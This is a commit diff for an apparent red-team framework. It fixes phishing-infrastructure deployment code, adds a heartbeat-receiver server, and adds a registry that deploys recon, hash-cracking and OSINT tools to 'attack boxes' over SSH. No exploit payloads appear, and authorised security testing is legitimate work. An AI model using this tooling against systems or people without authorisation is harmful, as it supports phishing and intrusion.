Fix 11 bugs found in full codebase review
- deploy_phishing.py: undefined extra_vars on orchestration playbook - freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable() - freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call - certipy-enum.py: password exposed in process list and logs; pass via env var - cleanup_engine.py: load_vars_file() called with path string, expects provider name - ioc-u.py: scapy import not guarded; tool crashed if scapy missing - um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers - ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var - recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user - um-crack.py: missing --scope flag inconsistent with all other Umbra tools - heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
This commit is contained in:
@@ -0,0 +1,167 @@
|
||||
#!/usr/bin/env python3
|
||||
"""heartbeat_ingest.py — HTTP(S) server that receives heartbeat POSTs and writes to engagement state.
|
||||
|
||||
Writes heartbeats to: ~/.umbra/engagements/{engagement}/heartbeats/{hostname}.json
|
||||
|
||||
Usage:
|
||||
python heartbeat_ingest.py <engagement> [--port 8443] [--bind 127.0.0.1]
|
||||
python heartbeat_ingest.py <engagement> --tls --cert cert.pem --key key.pem
|
||||
python heartbeat_ingest.py <engagement> --auth-token SECRET
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import os
|
||||
import ssl
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
||||
UMBRA_HOME = os.path.expanduser("~/.umbra")
|
||||
ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements")
|
||||
|
||||
# Will be set by main()
|
||||
_engagement_name = ""
|
||||
_heartbeat_dir = ""
|
||||
_auth_token = ""
|
||||
|
||||
|
||||
class HeartbeatHandler(BaseHTTPRequestHandler):
|
||||
"""Handle POST /hb with JSON heartbeat payload."""
|
||||
|
||||
def _check_auth(self):
|
||||
"""Validate auth token if configured."""
|
||||
if not _auth_token:
|
||||
return True
|
||||
token = self.headers.get("X-Auth-Token", "")
|
||||
return hmac.compare_digest(token, _auth_token)
|
||||
|
||||
def do_POST(self):
|
||||
if not self._check_auth():
|
||||
self.send_response(403)
|
||||
self.end_headers()
|
||||
self.wfile.write(b"forbidden")
|
||||
return
|
||||
|
||||
try:
|
||||
length = int(self.headers.get("Content-Length", 0))
|
||||
body = self.rfile.read(length)
|
||||
data = json.loads(body)
|
||||
|
||||
hostname = data.get("hostname", "unknown").replace("/", "_").replace("..", "_")
|
||||
hb_path = os.path.join(_heartbeat_dir, f"{hostname}.json")
|
||||
|
||||
with open(hb_path, "w") as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
self.wfile.write(b"ok")
|
||||
print(f" [+] {data.get('ts', '?')} heartbeat from {hostname} ({data.get('ip', '?')})")
|
||||
|
||||
except (json.JSONDecodeError, KeyError) as e:
|
||||
self.send_response(400)
|
||||
self.end_headers()
|
||||
self.wfile.write(f"bad request: {e}".encode())
|
||||
|
||||
except Exception as e:
|
||||
self.send_response(500)
|
||||
self.end_headers()
|
||||
self.wfile.write(f"error: {e}".encode())
|
||||
|
||||
def do_GET(self):
|
||||
"""Health check endpoint."""
|
||||
if not self._check_auth():
|
||||
self.send_response(403)
|
||||
self.end_headers()
|
||||
self.wfile.write(b"forbidden")
|
||||
return
|
||||
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
self.wfile.write(json.dumps({"status": "ok", "engagement": _engagement_name}).encode())
|
||||
|
||||
def log_message(self, fmt, *args):
|
||||
"""Suppress default access logging."""
|
||||
pass
|
||||
|
||||
|
||||
def generate_self_signed_cert(cert_path, key_path):
|
||||
"""Generate a self-signed certificate for TLS."""
|
||||
try:
|
||||
subprocess.run([
|
||||
"openssl", "req", "-x509", "-newkey", "rsa:2048",
|
||||
"-keyout", key_path, "-out", cert_path,
|
||||
"-days", "365", "-nodes",
|
||||
"-subj", "/CN=heartbeat-ingest",
|
||||
], check=True, capture_output=True)
|
||||
except FileNotFoundError:
|
||||
raise RuntimeError("openssl not found — install it or provide --cert/--key manually")
|
||||
print(f"[*] Generated self-signed cert: {cert_path}")
|
||||
|
||||
|
||||
def main():
|
||||
global _engagement_name, _heartbeat_dir, _auth_token
|
||||
|
||||
parser = argparse.ArgumentParser(description="Heartbeat ingest server")
|
||||
parser.add_argument("engagement", help="Engagement name")
|
||||
parser.add_argument("--port", "-p", type=int, default=8443, help="Listen port (default: 8443)")
|
||||
parser.add_argument("--bind", "-b", default="127.0.0.1", help="Bind address (default: 127.0.0.1)")
|
||||
parser.add_argument("--auth-token", default=os.environ.get("UMBRA_HB_TOKEN", ""),
|
||||
help="Shared secret for auth (X-Auth-Token header)")
|
||||
parser.add_argument("--tls", action="store_true", help="Enable TLS")
|
||||
parser.add_argument("--cert", default="", help="TLS certificate path (PEM)")
|
||||
parser.add_argument("--key", default="", help="TLS private key path (PEM)")
|
||||
args = parser.parse_args()
|
||||
|
||||
_engagement_name = args.engagement.strip().replace(" ", "_")
|
||||
_heartbeat_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name, "heartbeats")
|
||||
os.makedirs(_heartbeat_dir, exist_ok=True)
|
||||
_auth_token = args.auth_token
|
||||
|
||||
# Also ensure engagement dir exists
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name)
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
|
||||
server = HTTPServer((args.bind, args.port), HeartbeatHandler)
|
||||
|
||||
# TLS setup
|
||||
if args.tls:
|
||||
cert_path = args.cert
|
||||
key_path = args.key
|
||||
|
||||
# Auto-generate self-signed cert if none provided
|
||||
if not cert_path or not key_path:
|
||||
cert_dir = os.path.join(eng_dir, "tls")
|
||||
os.makedirs(cert_dir, exist_ok=True)
|
||||
cert_path = os.path.join(cert_dir, "heartbeat.crt")
|
||||
key_path = os.path.join(cert_dir, "heartbeat.key")
|
||||
if not os.path.exists(cert_path):
|
||||
generate_self_signed_cert(cert_path, key_path)
|
||||
|
||||
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
ctx.load_cert_chain(cert_path, key_path)
|
||||
server.socket = ctx.wrap_socket(server.socket, server_side=True)
|
||||
proto = "https"
|
||||
else:
|
||||
proto = "http"
|
||||
|
||||
print(f"[*] Heartbeat ingest listening on {args.bind}:{args.port} ({proto})")
|
||||
print(f"[*] Engagement: {_engagement_name}")
|
||||
print(f"[*] Writing to: {_heartbeat_dir}")
|
||||
print(f"[*] Auth: {'enabled' if _auth_token else 'disabled'}")
|
||||
print(f"[*] Endpoint: POST {proto}://<this-host>:{args.port}/hb")
|
||||
print()
|
||||
|
||||
try:
|
||||
server.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
print("\n[*] Stopped")
|
||||
server.server_close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -447,38 +447,55 @@ def execute_component_deployment(config):
|
||||
'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'),
|
||||
}
|
||||
|
||||
# Build extra vars for ansible
|
||||
extra_vars = []
|
||||
# Build extra vars for ansible as JSON (safe for special chars)
|
||||
import json as _json
|
||||
import tempfile as _tempfile
|
||||
extra_vars_dict = {}
|
||||
for key, value in config.items():
|
||||
if isinstance(value, (str, int, bool)):
|
||||
extra_vars.append(f"{key}={value}")
|
||||
|
||||
extra_vars_dict[key] = value
|
||||
|
||||
deployed_components = []
|
||||
|
||||
|
||||
try:
|
||||
# Deploy each enabled component
|
||||
for component, playbook_path in component_playbooks.items():
|
||||
if config.get(component, False):
|
||||
print(f"\n{COLORS['YELLOW']}Deploying {component.replace('deploy_', '')}...{COLORS['RESET']}")
|
||||
|
||||
|
||||
# Check if playbook exists
|
||||
if not os.path.exists(playbook_path):
|
||||
print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}")
|
||||
continue
|
||||
|
||||
|
||||
# Write vars to temp file (avoids CLI exposure)
|
||||
_vars_file = _tempfile.NamedTemporaryFile(
|
||||
mode='w', suffix='.json', prefix='phish_vars_',
|
||||
delete=False
|
||||
)
|
||||
_json.dump(extra_vars_dict, _vars_file)
|
||||
_vars_file.close()
|
||||
os.chmod(_vars_file.name, 0o600)
|
||||
|
||||
# Build ansible command
|
||||
cmd = [
|
||||
'ansible-playbook',
|
||||
playbook_path,
|
||||
'--extra-vars',
|
||||
' '.join(extra_vars)
|
||||
f'@{_vars_file.name}'
|
||||
]
|
||||
|
||||
print(f"{COLORS['GRAY']}Running: {' '.join(cmd)}{COLORS['RESET']}")
|
||||
|
||||
print(f"{COLORS['GRAY']}Running: ansible-playbook {os.path.basename(playbook_path)}{COLORS['RESET']}")
|
||||
|
||||
# Execute playbook
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
||||
|
||||
|
||||
# Clean up temp vars file
|
||||
try:
|
||||
os.unlink(_vars_file.name)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if result.returncode == 0:
|
||||
print(f"{COLORS['GREEN']}✅ {component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}")
|
||||
deployed_components.append(component)
|
||||
@@ -490,16 +507,29 @@ def execute_component_deployment(config):
|
||||
# Deploy the orchestration playbook to save state
|
||||
print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}")
|
||||
orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml')
|
||||
|
||||
|
||||
_orch_vars_file = _tempfile.NamedTemporaryFile(
|
||||
mode='w', suffix='.json', prefix='phish_orch_',
|
||||
delete=False
|
||||
)
|
||||
_json.dump(extra_vars_dict, _orch_vars_file)
|
||||
_orch_vars_file.close()
|
||||
os.chmod(_orch_vars_file.name, 0o600)
|
||||
|
||||
cmd = [
|
||||
'ansible-playbook',
|
||||
orchestration_playbook,
|
||||
'--extra-vars',
|
||||
' '.join(extra_vars)
|
||||
f'@{_orch_vars_file.name}'
|
||||
]
|
||||
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
||||
|
||||
|
||||
try:
|
||||
os.unlink(_orch_vars_file.name)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if result.returncode == 0:
|
||||
print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}")
|
||||
return True
|
||||
|
||||
@@ -0,0 +1,872 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Recon & Red Team Tools — c2itall integration module
|
||||
Provides local launch + remote deployment for Umbra suite and custom Red Team tools.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import glob
|
||||
from datetime import datetime
|
||||
|
||||
# Add parent paths for imports
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
from utils.common import COLORS, clear_screen, print_banner, wait_for_input
|
||||
|
||||
# ─── Tool Path Registry ─────────────────────────────────────────────────────
|
||||
C2ITALL_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
UMBRA_PATH = os.path.join(C2ITALL_ROOT, "tools", "umbra")
|
||||
REDTEAM_PATH = os.path.join(C2ITALL_ROOT, "tools", "redteam")
|
||||
|
||||
TOOLS = {
|
||||
# Umbra tools
|
||||
"umbra-launcher": {
|
||||
"path": os.path.join(UMBRA_PATH, "umbra.py"),
|
||||
"type": "python",
|
||||
"desc": "Unified Umbra Launcher",
|
||||
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow", "beautifulsoup4"],
|
||||
},
|
||||
"um-scan": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-scan.py"),
|
||||
"type": "python",
|
||||
"desc": "TCP Port Scanner",
|
||||
"deps": ["rich", "click", "aiohttp"],
|
||||
},
|
||||
"um-api": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-api.py"),
|
||||
"type": "python",
|
||||
"desc": "API Endpoint Discovery",
|
||||
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
|
||||
},
|
||||
"um-intel": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-intel.py"),
|
||||
"type": "python",
|
||||
"desc": "Passive OSINT Aggregator",
|
||||
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
|
||||
},
|
||||
"um-enum": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-enum.py"),
|
||||
"type": "python",
|
||||
"desc": "Predictive URL Enumeration",
|
||||
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
|
||||
},
|
||||
"um-fuzz": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-fuzz.py"),
|
||||
"type": "python",
|
||||
"desc": "Web Path Discovery",
|
||||
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
|
||||
},
|
||||
"um-hash": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-hash.py"),
|
||||
"type": "python",
|
||||
"desc": "Gravatar Hash Extraction",
|
||||
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
|
||||
},
|
||||
"um-wp": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-wp.py"),
|
||||
"type": "python",
|
||||
"desc": "WordPress Detection",
|
||||
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
|
||||
},
|
||||
"um-crack": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-crack.py"),
|
||||
"type": "python",
|
||||
"desc": "Hash Cracker",
|
||||
"deps": ["rich", "click"],
|
||||
},
|
||||
"um-exif": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-exif.py"),
|
||||
"type": "python",
|
||||
"desc": "EXIF Metadata Extraction",
|
||||
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow"],
|
||||
},
|
||||
"um-vault": {
|
||||
"path": os.path.join(UMBRA_PATH, "um-vault.py"),
|
||||
"type": "python",
|
||||
"desc": "Master Database Aggregator",
|
||||
"deps": ["rich", "click"],
|
||||
},
|
||||
# Red Team tools
|
||||
"trashpanda": {
|
||||
"path": os.path.join(REDTEAM_PATH, "trashpanda", "trashpanda.py"),
|
||||
"type": "python",
|
||||
"desc": "Network Enumeration",
|
||||
"deps": [],
|
||||
},
|
||||
"ioc-u": {
|
||||
"path": os.path.join(REDTEAM_PATH, "ioc-u", "ioc-u.py"),
|
||||
"type": "python",
|
||||
"desc": "Blue Team Detection & Intel",
|
||||
"deps": ["scapy", "numpy", "scikit-learn"],
|
||||
},
|
||||
"lions-share": {
|
||||
"path": os.path.join(REDTEAM_PATH, "lions-share", "lions-share.py"),
|
||||
"type": "python",
|
||||
"desc": "SSHFS Mount & Backup",
|
||||
"deps": ["click", "python-crontab"],
|
||||
"sys_deps": ["sshfs", "rsync"],
|
||||
},
|
||||
"micro-scope": {
|
||||
"path": os.path.join(REDTEAM_PATH, "micro-scope", "micro-scope.py"),
|
||||
"type": "python",
|
||||
"desc": "Scope Verification",
|
||||
"deps": [],
|
||||
},
|
||||
"linkedout": {
|
||||
"path": os.path.join(REDTEAM_PATH, "linkedout", "linkedout.py"),
|
||||
"type": "python",
|
||||
"desc": "LinkedIn OSINT",
|
||||
"deps": ["selenium", "webdriver-manager", "beautifulsoup4"],
|
||||
},
|
||||
"ops-logger": {
|
||||
"path": os.path.join(REDTEAM_PATH, "ops-logger.sh"),
|
||||
"type": "bash",
|
||||
"desc": "Terminal Session Logging",
|
||||
"deps": [],
|
||||
},
|
||||
"freebird": {
|
||||
"path": os.path.join(REDTEAM_PATH, "freebird", "main.py"),
|
||||
"type": "python",
|
||||
"desc": "MITRE ATT&CK Framework",
|
||||
"deps": ["InquirerPy", "requests", "click"],
|
||||
},
|
||||
"regex-search": {
|
||||
"path": os.path.join(REDTEAM_PATH, "regex-search", "regex-search-tool.py"),
|
||||
"type": "python",
|
||||
"desc": "Sensitive Data Search",
|
||||
"deps": [],
|
||||
},
|
||||
"certipy-enum": {
|
||||
"path": os.path.join(REDTEAM_PATH, "certipy-enum.py"),
|
||||
"type": "python",
|
||||
"desc": "ADCS Enumeration",
|
||||
"deps": [],
|
||||
},
|
||||
"ping-sweep": {
|
||||
"path": os.path.join(REDTEAM_PATH, "ping-sweep.py"),
|
||||
"type": "python",
|
||||
"desc": "Network Discovery",
|
||||
"deps": [],
|
||||
"sys_deps": ["nmap"],
|
||||
},
|
||||
# Forensics / sandbox tools
|
||||
"ir-sandbox": {
|
||||
"path": os.path.expanduser("~/tools/ir-sandbox/ir-sandbox.py"),
|
||||
"type": "python",
|
||||
"desc": "Malware Analysis & IR Platform",
|
||||
"deps": [],
|
||||
},
|
||||
"link-sandbox": {
|
||||
"path": os.path.expanduser("~/tools/link-sandbox/analyze.py"),
|
||||
"type": "python",
|
||||
"desc": "Secure URL Analysis",
|
||||
"deps": [],
|
||||
},
|
||||
# Ops tools
|
||||
"ops-dashboard": {
|
||||
"path": os.path.join(C2ITALL_ROOT, "ops_dashboard.py"),
|
||||
"type": "python",
|
||||
"desc": "Real-Time Engagement Monitor",
|
||||
"deps": ["rich"],
|
||||
},
|
||||
"ops-bridge": {
|
||||
"path": os.path.join(C2ITALL_ROOT, "ops_bridge.py"),
|
||||
"type": "python",
|
||||
"desc": "Remote State Sync (rsync)",
|
||||
"deps": [],
|
||||
"sys_deps": ["rsync"],
|
||||
},
|
||||
"heartbeat-ingest": {
|
||||
"path": os.path.join(C2ITALL_ROOT, "heartbeat", "heartbeat_ingest.py"),
|
||||
"type": "python",
|
||||
"desc": "Heartbeat Receiver Server",
|
||||
"deps": [],
|
||||
},
|
||||
}
|
||||
|
||||
# Tool groups for menu organization
|
||||
UMBRA_TOOLS = [
|
||||
"umbra-launcher", "um-scan", "um-api", "um-intel", "um-enum",
|
||||
"um-fuzz", "um-hash", "um-wp", "um-crack", "um-exif", "um-vault",
|
||||
]
|
||||
REDTEAM_TOOLS = [
|
||||
"trashpanda", "ioc-u", "lions-share", "micro-scope", "linkedout",
|
||||
"ops-logger", "freebird", "regex-search", "certipy-enum", "ping-sweep",
|
||||
]
|
||||
OPS_TOOLS = ["ops-dashboard", "ops-bridge", "heartbeat-ingest"]
|
||||
|
||||
# Deployment tracking file
|
||||
DEPLOY_LOG = os.path.expanduser("~/.c2itall_tool_deployments.log")
|
||||
|
||||
|
||||
# ─── Utility Functions ──────────────────────────────────────────────────────
|
||||
|
||||
def check_tool_status(tool_name):
|
||||
"""Check if a tool exists locally."""
|
||||
info = TOOLS.get(tool_name)
|
||||
if not info:
|
||||
return False
|
||||
return os.path.exists(info["path"])
|
||||
|
||||
|
||||
def launch_local_tool(tool_name):
|
||||
"""Launch a tool locally."""
|
||||
info = TOOLS.get(tool_name)
|
||||
if not info:
|
||||
print(f"{COLORS['RED']}Unknown tool: {tool_name}{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
if not os.path.exists(info["path"]):
|
||||
print(f"{COLORS['RED']}Tool not found: {info['path']}{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
tool_dir = os.path.dirname(info["path"])
|
||||
|
||||
if info["type"] == "python":
|
||||
cmd = [sys.executable, info["path"]]
|
||||
elif info["type"] == "bash":
|
||||
cmd = ["bash", info["path"]]
|
||||
else:
|
||||
print(f"{COLORS['RED']}Unknown tool type: {info['type']}{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Launching {tool_name}...{COLORS['RESET']}\n")
|
||||
try:
|
||||
subprocess.run(cmd, cwd=tool_dir)
|
||||
except KeyboardInterrupt:
|
||||
print(f"\n{COLORS['YELLOW']}Tool interrupted{COLORS['RESET']}")
|
||||
except Exception as e:
|
||||
print(f"{COLORS['RED']}Error launching {tool_name}: {e}{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def log_deployment(host, tools_deployed, ssh_user, ssh_key):
|
||||
"""Log a tool deployment for future SSH & Run."""
|
||||
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
with open(DEPLOY_LOG, "a") as f:
|
||||
tools_str = ",".join(tools_deployed)
|
||||
f.write(f"{ts}|{host}|{ssh_user}|{ssh_key}|{tools_str}\n")
|
||||
|
||||
|
||||
def get_deployments():
|
||||
"""Read deployment log and return list of deployments."""
|
||||
if not os.path.exists(DEPLOY_LOG):
|
||||
return []
|
||||
deployments = []
|
||||
with open(DEPLOY_LOG) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
parts = line.split("|")
|
||||
if len(parts) >= 5:
|
||||
deployments.append({
|
||||
"timestamp": parts[0],
|
||||
"host": parts[1],
|
||||
"ssh_user": parts[2],
|
||||
"ssh_key": parts[3],
|
||||
"tools": parts[4].split(","),
|
||||
})
|
||||
return deployments
|
||||
|
||||
|
||||
def get_active_attack_boxes():
|
||||
"""Get active attack box deployments from c2itall logs."""
|
||||
hosts = []
|
||||
log_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'logs')
|
||||
info_files = glob.glob(os.path.join(log_dir, "deployment_info_*.txt"))
|
||||
|
||||
for info_file in info_files:
|
||||
try:
|
||||
with open(info_file) as f:
|
||||
content = f.read()
|
||||
# Extract IP and SSH info
|
||||
ip = None
|
||||
ssh_user = None
|
||||
ssh_key = None
|
||||
for line in content.splitlines():
|
||||
line = line.strip()
|
||||
if "IP:" in line or "attack_box_ip:" in line:
|
||||
ip = line.split(":")[-1].strip().strip('"')
|
||||
elif "SSH User:" in line:
|
||||
ssh_user = line.split(":")[-1].strip()
|
||||
elif "SSH Key:" in line:
|
||||
ssh_key = line.split(":")[-1].strip()
|
||||
if ip:
|
||||
hosts.append({
|
||||
"ip": ip,
|
||||
"ssh_user": ssh_user or "root",
|
||||
"ssh_key": ssh_key,
|
||||
"source": os.path.basename(info_file),
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
return hosts
|
||||
|
||||
|
||||
# ─── Deployment Functions ───────────────────────────────────────────────────
|
||||
|
||||
def select_target_host():
|
||||
"""Select a target host from active deployments or manual entry."""
|
||||
print(f"\n{COLORS['CYAN']}Select target machine:{COLORS['RESET']}")
|
||||
|
||||
# Check c2itall active deployments
|
||||
attack_boxes = get_active_attack_boxes()
|
||||
if attack_boxes:
|
||||
print(f"\n {COLORS['GREEN']}Active c2itall deployments:{COLORS['RESET']}")
|
||||
for i, box in enumerate(attack_boxes, 1):
|
||||
print(f" {i}) {box['ip']} ({box['ssh_user']}@) — {box['source']}")
|
||||
print(f" {len(attack_boxes) + 1}) Manual entry")
|
||||
|
||||
choice = input(f"\n Select: ").strip()
|
||||
try:
|
||||
idx = int(choice) - 1
|
||||
if 0 <= idx < len(attack_boxes):
|
||||
box = attack_boxes[idx]
|
||||
return box["ip"], box["ssh_user"], box.get("ssh_key")
|
||||
except ValueError:
|
||||
pass
|
||||
else:
|
||||
print(f" {COLORS['YELLOW']}No active c2itall deployments found{COLORS['RESET']}")
|
||||
|
||||
# Manual entry
|
||||
host = input(f"\n Enter target (user@host or host): ").strip()
|
||||
if not host:
|
||||
return None, None, None
|
||||
|
||||
if "@" in host:
|
||||
ssh_user, host = host.split("@", 1)
|
||||
else:
|
||||
ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or "root"
|
||||
|
||||
ssh_key = input(f" SSH key path (blank for default): ").strip() or None
|
||||
return host, ssh_user, ssh_key
|
||||
|
||||
|
||||
def _build_ssh_cmd(host, ssh_user, ssh_key, command=None, interactive=False):
|
||||
"""Build an SSH command list."""
|
||||
cmd = ["ssh"]
|
||||
if ssh_key:
|
||||
cmd.extend(["-i", ssh_key])
|
||||
# Use accept-new: trust on first connect, reject if key changes
|
||||
known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts")
|
||||
cmd.extend([
|
||||
"-o", "StrictHostKeyChecking=accept-new",
|
||||
"-o", f"UserKnownHostsFile={known_hosts}",
|
||||
"-o", "IdentitiesOnly=yes",
|
||||
])
|
||||
if interactive:
|
||||
cmd.append("-t")
|
||||
cmd.append(f"{ssh_user}@{host}")
|
||||
if command:
|
||||
cmd.append(command)
|
||||
return cmd
|
||||
|
||||
|
||||
def _build_scp_cmd(ssh_key=None):
|
||||
"""Build base SCP command with consistent SSH options."""
|
||||
known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts")
|
||||
cmd = ["scp", "-o", "StrictHostKeyChecking=accept-new", "-o", f"UserKnownHostsFile={known_hosts}"]
|
||||
if ssh_key:
|
||||
cmd.extend(["-i", ssh_key])
|
||||
return cmd
|
||||
|
||||
|
||||
def deploy_umbra_remote(host, ssh_user, ssh_key):
|
||||
"""Deploy Umbra suite to remote machine."""
|
||||
print(f"\n{COLORS['CYAN']}Deploying Umbra to {ssh_user}@{host}...{COLORS['RESET']}")
|
||||
|
||||
# Create remote directory
|
||||
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra")
|
||||
result = subprocess.run(ssh_cmd, capture_output=True, text=True)
|
||||
if result.returncode != 0:
|
||||
print(f"{COLORS['RED']}Failed to create remote directory: {result.stderr}{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
# SCP Umbra files
|
||||
scp_cmd = _build_scp_cmd(ssh_key)
|
||||
|
||||
# Copy all Python files and wordlists
|
||||
py_files = glob.glob(os.path.join(UMBRA_PATH, "*.py"))
|
||||
if not py_files:
|
||||
print(f"{COLORS['RED']}No Umbra Python files found at {UMBRA_PATH}{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
scp_cmd.extend(py_files)
|
||||
scp_cmd.append(f"{ssh_user}@{host}:/opt/umbra/")
|
||||
|
||||
print(f" Copying {len(py_files)} Python files...")
|
||||
result = subprocess.run(scp_cmd, capture_output=True, text=True)
|
||||
if result.returncode != 0:
|
||||
print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
# Copy wordlists if they exist
|
||||
wordlist_dir = os.path.join(UMBRA_PATH, "wordlists")
|
||||
if os.path.isdir(wordlist_dir):
|
||||
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra/wordlists")
|
||||
subprocess.run(ssh_cmd, capture_output=True)
|
||||
|
||||
scp_wl = _build_scp_cmd(ssh_key)
|
||||
scp_wl.extend(["-r", wordlist_dir + "/"])
|
||||
scp_wl.append(f"{ssh_user}@{host}:/opt/umbra/wordlists/")
|
||||
print(f" Copying wordlists...")
|
||||
subprocess.run(scp_wl, capture_output=True)
|
||||
|
||||
# Install pip dependencies
|
||||
all_deps = set()
|
||||
for tool in UMBRA_TOOLS:
|
||||
info = TOOLS.get(tool, {})
|
||||
all_deps.update(info.get("deps", []))
|
||||
|
||||
if all_deps:
|
||||
deps_str = " ".join(sorted(all_deps))
|
||||
print(f" Installing dependencies: {deps_str}")
|
||||
install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||
f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}")
|
||||
result = subprocess.run(install_cmd, capture_output=True, text=True, timeout=120)
|
||||
if result.returncode != 0:
|
||||
print(f"{COLORS['YELLOW']}Warning: Some deps may have failed: {result.stderr[:200]}{COLORS['RESET']}")
|
||||
|
||||
# Verify
|
||||
print(f" Verifying installation...")
|
||||
verify_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||
"python3 -m py_compile /opt/umbra/um_tui.py && echo 'VERIFY_OK'")
|
||||
result = subprocess.run(verify_cmd, capture_output=True, text=True)
|
||||
if "VERIFY_OK" in result.stdout:
|
||||
print(f"{COLORS['GREEN']}Umbra deployed successfully to {host}:/opt/umbra/{COLORS['RESET']}")
|
||||
log_deployment(host, UMBRA_TOOLS, ssh_user, ssh_key or "default")
|
||||
return True
|
||||
else:
|
||||
print(f"{COLORS['RED']}Verification failed{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
|
||||
def deploy_redteam_remote(host, ssh_user, ssh_key):
|
||||
"""Deploy Red Team tools to remote machine."""
|
||||
print(f"\n{COLORS['CYAN']}Deploying Red Team tools to {ssh_user}@{host}...{COLORS['RESET']}")
|
||||
|
||||
# Create remote directories
|
||||
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||
"mkdir -p /opt/redteam/{trashpanda,ioc-u,lions-share,micro-scope,linkedout,freebird,regex-search}")
|
||||
subprocess.run(ssh_cmd, capture_output=True)
|
||||
|
||||
deployed = []
|
||||
for tool_name in REDTEAM_TOOLS:
|
||||
info = TOOLS.get(tool_name)
|
||||
if not info:
|
||||
continue
|
||||
|
||||
src_path = info["path"]
|
||||
if not os.path.exists(src_path):
|
||||
print(f" {COLORS['YELLOW']}Skipping {tool_name}: not found locally{COLORS['RESET']}")
|
||||
continue
|
||||
|
||||
# Determine remote path
|
||||
remote_dir = f"/opt/redteam/{tool_name}"
|
||||
src_dir = os.path.dirname(src_path)
|
||||
|
||||
scp_cmd = _build_scp_cmd(ssh_key)
|
||||
|
||||
# If it's a single file, just copy the file
|
||||
if os.path.isfile(src_path) and src_dir == os.path.dirname(src_path):
|
||||
ssh_mkdir = _build_ssh_cmd(host, ssh_user, ssh_key, f"mkdir -p {remote_dir}")
|
||||
subprocess.run(ssh_mkdir, capture_output=True)
|
||||
scp_cmd.extend([src_path, f"{ssh_user}@{host}:{remote_dir}/"])
|
||||
else:
|
||||
scp_cmd.extend(["-r", src_dir + "/"])
|
||||
